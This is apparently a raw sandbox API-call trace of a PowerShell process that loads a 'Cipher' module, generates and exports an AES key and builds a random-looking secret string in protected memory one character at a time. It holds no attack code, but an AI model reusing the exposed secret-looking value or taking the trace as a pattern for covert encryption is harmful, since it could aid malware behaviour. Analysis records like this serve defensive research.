lpConsoleScreenBufferInfo=0x99ae3fc) returned 1 [0131.622] GetConsoleOutputCP () returned 0x1b5 [0131.622] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae398, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae398) returned 0 [0131.622] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0131.623] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a9b5cc*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x6a9b5cc*, lpNumberOfCharsWritten=0x99ae3fc*=0x77) returned 1 [0131.623] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0131.624] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3fc*=0x2) returned 1 [0131.629] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.629] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.631] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="\xd200\x68f\xd22c\x68f\xd1e4\x68f\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xec48\x99a\xdc98\x664\x1082\x73b6\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\xdc98\x664\x04") returned 0x0 [0131.631] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0131.631] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.631] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.631] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.632] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0131.632] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0131.632] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.632] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.633] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.634] CryptAcquireContextW (in: phProv=0x99ae3e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae3e0*=0x43964e8) returned 1 [0131.634] CryptGenKey (in: hProv=0x43964e8, Algid=0x6610, dwFlags=0x1, phKey=0x99ae800 | out: phKey=0x99ae800*=0x8e84cf8) returned 1 [0131.635] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0131.635] CryptExportKey (in: hKey=0x8e84cf8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae840 | out: pbData=0x0*, pdwDataLen=0x99ae840*=0x2c) returned 1 [0131.635] CryptExportKey (in: hKey=0x8e84cf8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6aa522c, pdwDataLen=0x99ae840 | out: pbData=0x6aa522c*, pdwDataLen=0x99ae840*=0x2c) returned 1 [0131.635] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="") returned 0x0 [0131.635] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.635] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.635] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0131.636] SysStringLen (param_1="") returned 0x8 [0131.636] SysStringLen (param_1="4") returned 0x8 [0131.636] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.636] SysStringLen (param_1="\xa1a4\xa709\xac75\x2433\x5ec5\x6e7f\xb331\x9b74") returned 0x8 [0131.636] SysStringLen (param_1="\xa1a4\xa709\xac75\x2433\x5ec5\x6e7f\xb331\x9b74") returned 0x8 [0131.636] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.636] SysStringLen (param_1="4H") returned 0x8 [0131.636] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.636] SysStringLen (param_1="\x5cb0\x2696\xdaed\xcd3\x6fbd\x4210\x75f0\x124e") returned 0x8 [0131.637] SysStringLen (param_1="\x5cb0\x2696\xdaed\xcd3\x6fbd\x4210\x75f0\x124e") returned 0x8 [0131.637] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.637] SysStringLen (param_1="4HY") returned 0x8 [0131.637] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.637] SysStringLen (param_1="\xc3ee\x205c\xb6ec\xde7\x7320\x28ec\xed4c\xf4c2") returned 0x8 [0131.637] SysStringLen (param_1="\xc3ee\x205c\xb6ec\xde7\x7320\x28ec\xed4c\xf4c2") returned 0x8 [0131.637] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.637] SysStringLen (param_1="4HYp") returned 0x8 [0131.637] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.637] SysStringLen (param_1="\x22fd\xf5b2\x6fe2\x97cb\xca4f\x98bb\xf704\x7f58") returned 0x8 [0131.637] SysStringLen (param_1="\x22fd\xf5b2\x6fe2\x97cb\xca4f\x98bb\xf704\x7f58") returned 0x8 [0131.637] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.637] SysStringLen (param_1="4HYp2") returned 0x8 [0131.637] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.637] SysStringLen (param_1="\xa53f\xc8d3\x4919\x6d9\x3ea8\x8c55\xba5d\x7e31") returned 0x8 [0131.637] SysStringLen (param_1="\xa53f\xc8d3\x4919\x6d9\x3ea8\x8c55\xba5d\x7e31") returned 0x8 [0131.637] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.638] SysStringLen (param_1="4HYp2X") returned 0x8 [0131.638] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.638] SysStringLen (param_1="\xbde5\xe9\x525a\x2ca6\xc524\xed5e\x3c05\x2ebb") returned 0x8 [0131.638] SysStringLen (param_1="\xbde5\xe9\x525a\x2ca6\xc524\xed5e\x3c05\x2ebb") returned 0x8 [0131.638] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.638] SysStringLen (param_1="4HYp2XT") returned 0x8 [0131.638] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.638] SysStringLen (param_1="䘢뫆킑텍䈹䫍") returned 0x8 [0131.638] SysStringLen (param_1="䘢뫆킑텍䈹䫍") returned 0x8 [0131.638] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.638] SysStringLen (param_1="4HYp2XTj") returned 0x8 [0131.638] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0131.638] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234") returned 0x8 [0131.638] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234") returned 0x8 [0131.638] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234") returned 0x8 [0131.638] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234") returned 0x10 [0131.638] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.639] SysStringLen (param_1="4HYp2XTjw狟찑潍㙮ዧ") returned 0x10 [0131.639] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.639] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\xdaeb\xf7e5\x867c\x6f61\x982b\x2420\xcc9c\x63e8") returned 0x10 [0131.639] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\xdaeb\xf7e5\x867c\x6f61\x982b\x2420\xcc9c\x63e8") returned 0x10 [0131.639] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.639] SysStringLen (param_1="4HYp2XTjwU찑潍㙮ዧ") returned 0x10 [0131.639] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.639] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x9747\x8e88\xe25\xbe2b\x3303\x9fc8\xc2fa\x2ccf") returned 0x10 [0131.639] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x9747\x8e88\xe25\xbe2b\x3303\x9fc8\xc2fa\x2ccf") returned 0x10 [0131.639] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.639] SysStringLen (param_1="4HYp2XTjwUI潍㙮ዧ") returned 0x10 [0131.639] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.639] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\xc07f\x4a36\xf23c\xe1d1\x1c48\x5c34\xb684\x806a") returned 0x10 [0131.639] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\xc07f\x4a36\xf23c\xe1d1\x1c48\x5c34\xb684\x806a") returned 0x10 [0131.639] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.639] SysStringLen (param_1="4HYp2XTjwUIN潍㙮ዧ") returned 0x10 [0131.640] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.640] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x9ca6\x8e1e\x211a\xdbf3\x889a\x3d38\xda8c\x8390") returned 0x10 [0131.640] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x9ca6\x8e1e\x211a\xdbf3\x889a\x3d38\xda8c\x8390") returned 0x10 [0131.640] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.640] SysStringLen (param_1="4HYp2XTjwUINl㙮ዧ") returned 0x10 [0131.640] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.640] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x90a7\x3388\x5a2d\xde99\x4567\x3904\x9a0b\x9b6c") returned 0x10 [0131.640] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x90a7\x3388\x5a2d\xde99\x4567\x3904\x9a0b\x9b6c") returned 0x10 [0131.640] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.640] SysStringLen (param_1="4HYp2XTjwUINlbዧ") returned 0x10 [0131.640] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.640] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x5999\xdc6e\x9489\xa6fc\xb59e\x3e9\xafa7\xfdc0") returned 0x10 [0131.640] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x5999\xdc6e\x9489\xa6fc\xb59e\x3e9\xafa7\xfdc0") returned 0x10 [0131.640] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.640] SysStringLen (param_1="4HYp2XTjwUINlbIዧ") returned 0x10 [0131.640] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.641] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\xb0cb\x6fde\x9408\xb228\x6499\xf753\x1913\xc8ce") returned 0x10 [0131.641] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\xb0cb\x6fde\x9408\xb228\x6499\xf753\x1913\xc8ce") returned 0x10 [0131.641] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.641] SysStringLen (param_1="4HYp2XTjwUINlbI8") returned 0x10 [0131.641] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0131.641] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79") returned 0x10 [0131.641] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79") returned 0x10 [0131.641] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79") returned 0x10 [0131.641] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79") returned 0x18 [0131.641] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.641] SysStringLen (param_1="4HYp2XTjwUINlbI8L⚑걆⿷褎㸣荤ﶪ") returned 0x18 [0131.641] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.641] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xca65\x3858\x66c0\xfd8b\x10cc\xe0b1\xab24\x781c") returned 0x18 [0131.641] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xca65\x3858\x66c0\xfd8b\x10cc\xe0b1\xab24\x781c") returned 0x18 [0131.641] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.641] SysStringLen (param_1="4HYp2XTjwUINlbI8Lu걆⿷褎㸣荤ﶪ") returned 0x18 [0131.641] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.642] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xfd50\x66bb\x5c37\xb262\xa7e3\x12e2\xec6e\x2d26") returned 0x18 [0131.642] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xfd50\x66bb\x5c37\xb262\xa7e3\x12e2\xec6e\x2d26") returned 0x18 [0131.642] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.642] SysStringLen (param_1="4HYp2XTjwUINlbI8LuB⿷褎㸣荤ﶪ") returned 0x18 [0131.642] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.642] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xf654\x7a0e\xbbd1\x8445\xa3e\xd914\x76cc\xf444") returned 0x18 [0131.642] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xf654\x7a0e\xbbd1\x8445\xa3e\xd914\x76cc\xf444") returned 0x18 [0131.642] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.642] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBA褎㸣荤ﶪ") returned 0x18 [0131.642] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.642] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\x5ed6\x632c\xbf7b\x7d20\x434a\x2fb5\xe172\xdaed") returned 0x18 [0131.642] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\x5ed6\x632c\xbf7b\x7d20\x434a\x2fb5\xe172\xdaed") returned 0x18 [0131.642] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.642] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAV㸣荤ﶪ") returned 0x18 [0131.642] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.642] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\x2384\x5d27\xdb6\x47c8\x4c2f\x56c9\x8f0f\x309c") returned 0x18 [0131.642] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\x2384\x5d27\xdb6\x47c8\x4c2f\x56c9\x8f0f\x309c") returned 0x18 [0131.643] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.643] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK荤ﶪ") returned 0x18 [0131.643] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.643] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\x6e89\x6cf0\xc94c\x55eb\xcbbb\x409f\x4a62\xd6c0") returned 0x18 [0131.643] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\x6e89\x6cf0\xc94c\x55eb\xcbbb\x409f\x4a62\xd6c0") returned 0x18 [0131.643] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.643] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/ﶪ") returned 0x18 [0131.643] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.643] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xdee7\x4897\x540d\xf523\xa9a2\x3c0a\xbdc7\x2c45") returned 0x18 [0131.643] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xdee7\x4897\x540d\xf523\xa9a2\x3c0a\xbdc7\x2c45") returned 0x18 [0131.643] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.643] SysStringLen (param_1="4HYp2XTjwUINlbI8LuBAVK/F") returned 0x18 [0131.643] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0131.643] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284") returned 0x18 [0131.643] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284") returned 0x18 [0131.643] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284") returned 0x18 [0131.644] SysStringLen (param_1="\x8459\x72f5\xbf59\xe3f6\xab8d\x22fb\xa3a6\x2234\x3abf\x26bb\xdf0e\x2ef1\x4dce\x2ab6\xc69f\xcd79\xa256\x1fa3\xcbe1\x7602\x5257\x9920\xcc80\xc284") returned 0x20 [0131.644] 